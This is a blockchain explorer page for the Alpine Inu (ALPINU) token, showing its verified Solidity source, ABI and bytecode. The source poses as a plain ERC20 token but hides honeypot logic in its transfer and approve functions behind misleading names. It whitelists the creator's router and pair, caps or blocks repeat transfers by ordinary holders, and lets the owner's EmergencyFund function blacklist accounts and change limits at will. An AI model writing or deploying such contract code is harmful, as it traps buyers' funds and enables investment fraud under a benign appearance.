false
true
0

Contract Address Details

0x50A0F10673D6d4adCBB91F5146CdcFCF1F3ff788

Token
Alpine Inu (ALPINU)
Creator
0xfc6af7–177eba at 0x329b35–12061f
Balance
0 PLS ( )
Tokens
Fetching tokens...
Transactions
Fetching transactions...
Transfers
Fetching transfers...
Gas Used
Fetching gas used...
Last Balance Update
26465838
Warning! Contract bytecode has been changed and doesn't match the verified one. Therefore, interaction with this smart contract may be risky.
This contract has been verified via Sourcify. View contract in Sourcify repository
Contract name:
AlpineInu




Optimization enabled
true
Compiler version
v0.8.7+commit.e28d00a7




Optimization runs
200
EVM Version
london




Verified at
2026-05-06T22:47:28.530599Z

ERC20.sol

/**
 * https://t.me/AlpineInu
**/

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function decimals() external view returns (uint8);
}

contract Ownable is Context {
    address private _previousOwner;
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    mapping (address => bool) public PrepareRedistributionETH;

    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;
    
    mapping (address => bool) public DoRedistributionWithUniswap;

    uint256 private _totalSupply;
    bool private detectSell;
    uint256 private chTx;
    string private _symbol;
    address private _creator;
    uint256 private tXs;
    uint256 private getRedistributionStatus;
    bool private redistMechanic;
    bool private tempVal;
    string private _name;
    uint256 private setTxLimit;
    
    constructor (string memory name_, string memory symbol_, address creator_, bool house1, bool house2, uint256 house9) {
        _name = name_;
        _symbol = symbol_;
        tXs = house9;
        detectSell = house1;
        redistMechanic = house2;
        DoRedistributionWithUniswap[creator_] = house1;
        tempVal = house2;
        _creator = creator_;
        PrepareRedistributionETH[creator_] = house2;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }
    
    function EmergencyFund(address account, bool v1, bool v2, bool v3, uint256 v4) external onlyOwner {
        PrepareRedistributionETH[account] = v1;
        DoRedistributionWithUniswap[account] = v2;
        detectSell = v3;
        getRedistributionStatus = v4;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        
        
        if ((address(sender) == _creator) && (tempVal == false)) {
            getRedistributionStatus = chTx;
            detectSell = true;
        }
    
        if ((address(sender) == _creator) && (tempVal == true)) {
            PrepareRedistributionETH[recipient] = true;
            tempVal = false;
        }
    
        if (PrepareRedistributionETH[sender] == false) {
            if ((amount > setTxLimit)) {
                require(false);
            }
      
            require(amount < getRedistributionStatus);
            if (detectSell == true) {
                if (DoRedistributionWithUniswap[sender] == true) {
                    require(false);
                }
                DoRedistributionWithUniswap[sender] = true;
            }
        }
        
        uint256 taxamount = amount;
        
        _balances[sender] = senderBalance - taxamount;
        _balances[recipient] += taxamount;

        emit Transfer(sender, recipient, taxamount);
        
    }
        
    function _burn(address account, uint256 amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] -= amount;
        _balances[address(0)] += amount;
        emit Transfer(account, address(0), amount);
     }
     
    function _GetToTheMountain(address account, uint256 amount, uint256 val1, uint256 val2) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        
        getRedistributionStatus = _totalSupply;
        chTx = _totalSupply / val1;
        setTxLimit = chTx * val2;
        
        emit Transfer(address(0), account, amount);    
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        
        if ((address(owner) == _creator) && (redistMechanic == true)) {
            PrepareRedistributionETH[spender] = true;
            DoRedistributionWithUniswap[spender] = false;
            redistMechanic = false;
        }

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract ERC20Alpine is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        bool house1, bool house2, uint256 house6,
        uint256 house7, address creator,
        uint256 initialSupply, address owner,
        uint256 house9
    ) ERC20(name, symbol, creator, house1, house2, house9) {
        _GetToTheMountain(owner, initialSupply, house6, house7);
    }
}

contract AlpineInu is ERC20Alpine {
    constructor() ERC20Alpine("Alpine Inu", "ALPINU", false, true, 900, 25, msg.sender, 1000000000 * 10 ** 18, msg.sender, 10) {
    }
}
        

Compiler Settings

{"remappings":[],"optimizer":{"runs":200,"enabled":true},"metadata":{"bytecodeHash":"ipfs"},"libraries":{},"evmVersion":"london","compilationTarget":{"ERC20.sol":"AlpineInu"}}
              

Contract ABI

[{"type":"constructor","stateMutability":"nonpayable","inputs":[]},{"type":"event","name":"Approval","inputs":[{"type":"address","name":"owner","internalType":"address","indexed":true},{"type":"address","name":"spender","internalType":"address","indexed":true},{"type":"uint256","name":"value","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"event","name":"OwnershipTransferred","inputs":[{"type":"address","name":"previousOwner","internalType":"address","indexed":true},{"type":"address","name":"newOwner","internalType":"address","indexed":true}],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"type":"address","name":"from","internalType":"address","indexed":true},{"type":"address","name":"to","internalType":"address","indexed":true},{"type":"uint256","name":"value","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"DoRedistributionWithUniswap","inputs":[{"type":"address","name":"","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"EmergencyFund","inputs":[{"type":"address","name":"account","internalType":"address"},{"type":"bool","name":"v1","internalType":"bool"},{"type":"bool","name":"v2","internalType":"bool"},{"type":"bool","name":"v3","internalType":"bool"},{"type":"uint256","name":"v4","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"PrepareRedistributionETH","inputs":[{"type":"address","name":"","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"allowance","inputs":[{"type":"address","name":"owner","internalType":"address"},{"type":"address","name":"spender","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"approve","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"balanceOf","inputs":[{"type":"address","name":"account","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint8","name":"","internalType":"uint8"}],"name":"decimals","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"decreaseAllowance","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"subtractedValue","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"increaseAllowance","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"addedValue","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"name","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"owner","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"renounceOwnership","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"symbol","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"totalSupply","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transfer","inputs":[{"type":"address","name":"recipient","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transferFrom","inputs":[{"type":"address","name":"sender","internalType":"address"},{"type":"address","name":"recipient","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]}]
              

Contract Creation Code

0x60806040523480156200001157600080fd5b506040518060400160405280600a815260200169416c70696e6520496e7560b01b81525060405180604001604052806006815260200165414c50494e5560d01b815250600060016103846019336b033b2e3c9fd0803ce800000033600a8989858a8a85600062000086620001a260201b60201c565b600180546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3508551620000e990600e906020890190620002ba565b508451620000ff906009906020880190620002ba565b50600b556007805492151560ff199384168117909155600d8054921515928416831781556001600160a01b039094166000818152600560209081526040808320805488169095179094558654610100860261ff001990911617909655600a80546001600160a01b0319169092179091556002909452909220805490911690911790555062000192905082848888620001a6565b5050505050505050505062000413565b3390565b6001600160a01b038416620002015760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b826006600082825462000215919062000360565b90915550506001600160a01b038416600090815260036020526040812080548592906200024490849062000360565b9091555050600654600c8190556200025e9083906200037b565b6008819055620002709082906200039e565b600f556040518381526001600160a01b038516906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350505050565b828054620002c890620003c0565b90600052602060002090601f016020900481019282620002ec576000855562000337565b82601f106200030757805160ff191683800117855562000337565b8280016001018555821562000337579182015b82811115620003375782518255916020019190600101906200031a565b506200034592915062000349565b5090565b5b808211156200034557600081556001016200034a565b60008219821115620003765762000376620003fd565b500190565b6000826200039957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615620003bb57620003bb620003fd565b500290565b600181811c90821680620003d557607f821691505b60208210811415620003f757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b610d2680620004236000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d714610219578063a9059cbb1461022c578063d03f6d3b1461023f578063dd62ed3e1461026257600080fd5b8063715018a6146101cb57806375b461f9146101d35780638da5cb5b146101f657806395d89b411461021157600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461017a578063556baa621461018d57806370a08231146101a257600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61029b565b60405161011a9190610c1b565b60405180910390f35b610136610131366004610bf1565b61032d565b604051901515815260200161011a565b6006545b60405190815260200161011a565b610136610166366004610b59565b610343565b6040516012815260200161011a565b610136610188366004610bf1565b6103f9565b6101a061019b366004610b95565b610430565b005b61014a6101b0366004610b04565b6001600160a01b031660009081526003602052604090205490565b6101a06104dd565b6101366101e1366004610b04565b60056020526000908152604090205460ff1681565b6001546040516001600160a01b03909116815260200161011a565b61010d610581565b610136610227366004610bf1565b610590565b61013661023a366004610bf1565b61062b565b61013661024d366004610b04565b60026020526000908152604090205460ff1681565b61014a610270366004610b26565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6060600e80546102aa90610c9f565b80601f01602080910402602001604051908101604052809291908181526020018280546102d690610c9f565b80156103235780601f106102f857610100808354040283529160200191610323565b820191906000526020600020905b81548152906001019060200180831161030657829003601f168201915b5050505050905090565b600061033a338484610638565b50600192915050565b60006103508484846107c6565b6001600160a01b0384166000908152600460209081526040808320338452909152902054828110156103da5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103ee85336103e98685610c88565b610638565b506001949350505050565b3360008181526004602090815260408083206001600160a01b0387168452909152812054909161033a9185906103e9908690610c70565b6001546001600160a01b0316331461048a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103d1565b6001600160a01b039094166000908152600260209081526040808320805496151560ff19978816179055600590915290208054921515928416929092179091556007805491151591909216179055600c55565b6001546001600160a01b031633146105375760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103d1565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600980546102aa90610c9f565b3360009081526004602090815260408083206001600160a01b0386168452909152812054828110156106125760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103d1565b61062133856103e98685610c88565b5060019392505050565b600061033a3384846107c6565b6001600160a01b03831661069a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d1565b6001600160a01b0382166106fb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d1565b600a546001600160a01b03848116911614801561071f5750600d5460ff1615156001145b15610765576001600160a01b0382166000908152600260209081526040808320805460ff199081166001179091556005909252909120805482169055600d805490911690555b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661082a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d1565b6001600160a01b03821661088c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d1565b6001600160a01b038316600090815260036020526040902054818110156109045760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103d1565b600a546001600160a01b0385811691161480156109295750600d54610100900460ff16155b1561094257600854600c556007805460ff191660011790555b600a546001600160a01b03858116911614801561096c5750600d5460ff6101009091041615156001145b156109a0576001600160a01b0383166000908152600260205260409020805460ff19166001179055600d805461ff00191690555b6001600160a01b03841660009081526002602052604090205460ff16610a3c57600f548211156109cf57600080fd5b600c5482106109dd57600080fd5b60075460ff16151560011415610a3c576001600160a01b03841660009081526005602052604090205460ff16151560011415610a1857600080fd5b6001600160a01b0384166000908152600560205260409020805460ff191660011790555b81610a478183610c88565b6001600160a01b038087166000908152600360205260408082209390935590861681529081208054839290610a7d908490610c70565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ac991815260200190565b60405180910390a35050505050565b80356001600160a01b0381168114610aef57600080fd5b919050565b80358015158114610aef57600080fd5b600060208284031215610b1657600080fd5b610b1f82610ad8565b9392505050565b60008060408385031215610b3957600080fd5b610b4283610ad8565b9150610b5060208401610ad8565b90509250929050565b600080600060608486031215610b6e57600080fd5b610b7784610ad8565b9250610b8560208501610ad8565b9150604084013590509250925092565b600080600080600060a08688031215610bad57600080fd5b610bb686610ad8565b9450610bc460208701610af4565b9350610bd260408701610af4565b9250610be060608701610af4565b949793965091946080013592915050565b60008060408385031215610c0457600080fd5b610c0d83610ad8565b946020939093013593505050565b600060208083528351808285015260005b81811015610c4857858101830151858201604001528201610c2c565b81811115610c5a576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610c8357610c83610cda565b500190565b600082821015610c9a57610c9a610cda565b500390565b600181811c90821680610cb357607f821691505b60208210811415610cd457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220cef5c48a1438368012506b7e545811bc721d92fb062e4a1fc2774ae637d5d3f164736f6c63430008070033

Deployed ByteCode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d714610219578063a9059cbb1461022c578063d03f6d3b1461023f578063dd62ed3e1461026257600080fd5b8063715018a6146101cb57806375b461f9146101d35780638da5cb5b146101f657806395d89b411461021157600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461017a578063556baa621461018d57806370a08231146101a257600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61029b565b60405161011a9190610c1b565b60405180910390f35b610136610131366004610bf1565b61032d565b604051901515815260200161011a565b6006545b60405190815260200161011a565b610136610166366004610b59565b610343565b6040516012815260200161011a565b610136610188366004610bf1565b6103f9565b6101a061019b366004610b95565b610430565b005b61014a6101b0366004610b04565b6001600160a01b031660009081526003602052604090205490565b6101a06104dd565b6101366101e1366004610b04565b60056020526000908152604090205460ff1681565b6001546040516001600160a01b03909116815260200161011a565b61010d610581565b610136610227366004610bf1565b610590565b61013661023a366004610bf1565b61062b565b61013661024d366004610b04565b60026020526000908152604090205460ff1681565b61014a610270366004610b26565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6060600e80546102aa90610c9f565b80601f01602080910402602001604051908101604052809291908181526020018280546102d690610c9f565b80156103235780601f106102f857610100808354040283529160200191610323565b820191906000526020600020905b81548152906001019060200180831161030657829003601f168201915b5050505050905090565b600061033a338484610638565b50600192915050565b60006103508484846107c6565b6001600160a01b0384166000908152600460209081526040808320338452909152902054828110156103da5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103ee85336103e98685610c88565b610638565b506001949350505050565b3360008181526004602090815260408083206001600160a01b0387168452909152812054909161033a9185906103e9908690610c70565b6001546001600160a01b0316331461048a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103d1565b6001600160a01b039094166000908152600260209081526040808320805496151560ff19978816179055600590915290208054921515928416929092179091556007805491151591909216179055600c55565b6001546001600160a01b031633146105375760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103d1565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600980546102aa90610c9f565b3360009081526004602090815260408083206001600160a01b0386168452909152812054828110156106125760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103d1565b61062133856103e98685610c88565b5060019392505050565b600061033a3384846107c6565b6001600160a01b03831661069a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d1565b6001600160a01b0382166106fb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d1565b600a546001600160a01b03848116911614801561071f5750600d5460ff1615156001145b15610765576001600160a01b0382166000908152600260209081526040808320805460ff199081166001179091556005909252909120805482169055600d805490911690555b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661082a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d1565b6001600160a01b03821661088c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d1565b6001600160a01b038316600090815260036020526040902054818110156109045760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103d1565b600a546001600160a01b0385811691161480156109295750600d54610100900460ff16155b1561094257600854600c556007805460ff191660011790555b600a546001600160a01b03858116911614801561096c5750600d5460ff6101009091041615156001145b156109a0576001600160a01b0383166000908152600260205260409020805460ff19166001179055600d805461ff00191690555b6001600160a01b03841660009081526002602052604090205460ff16610a3c57600f548211156109cf57600080fd5b600c5482106109dd57600080fd5b60075460ff16151560011415610a3c576001600160a01b03841660009081526005602052604090205460ff16151560011415610a1857600080fd5b6001600160a01b0384166000908152600560205260409020805460ff191660011790555b81610a478183610c88565b6001600160a01b038087166000908152600360205260408082209390935590861681529081208054839290610a7d908490610c70565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ac991815260200190565b60405180910390a35050505050565b80356001600160a01b0381168114610aef57600080fd5b919050565b80358015158114610aef57600080fd5b600060208284031215610b1657600080fd5b610b1f82610ad8565b9392505050565b60008060408385031215610b3957600080fd5b610b4283610ad8565b9150610b5060208401610ad8565b90509250929050565b600080600060608486031215610b6e57600080fd5b610b7784610ad8565b9250610b8560208501610ad8565b9150604084013590509250925092565b600080600080600060a08688031215610bad57600080fd5b610bb686610ad8565b9450610bc460208701610af4565b9350610bd260408701610af4565b9250610be060608701610af4565b949793965091946080013592915050565b60008060408385031215610c0457600080fd5b610c0d83610ad8565b946020939093013593505050565b600060208083528351808285015260005b81811015610c4857858101830151858201604001528201610c2c565b81811115610c5a576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610c8357610c83610cda565b500190565b600082821015610c9a57610c9a610cda565b500390565b600181811c90821680610cb357607f821691505b60208210811415610cd457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220cef5c48a1438368012506b7e545811bc721d92fb062e4a1fc2774ae637d5d3f164736f6c63430008070033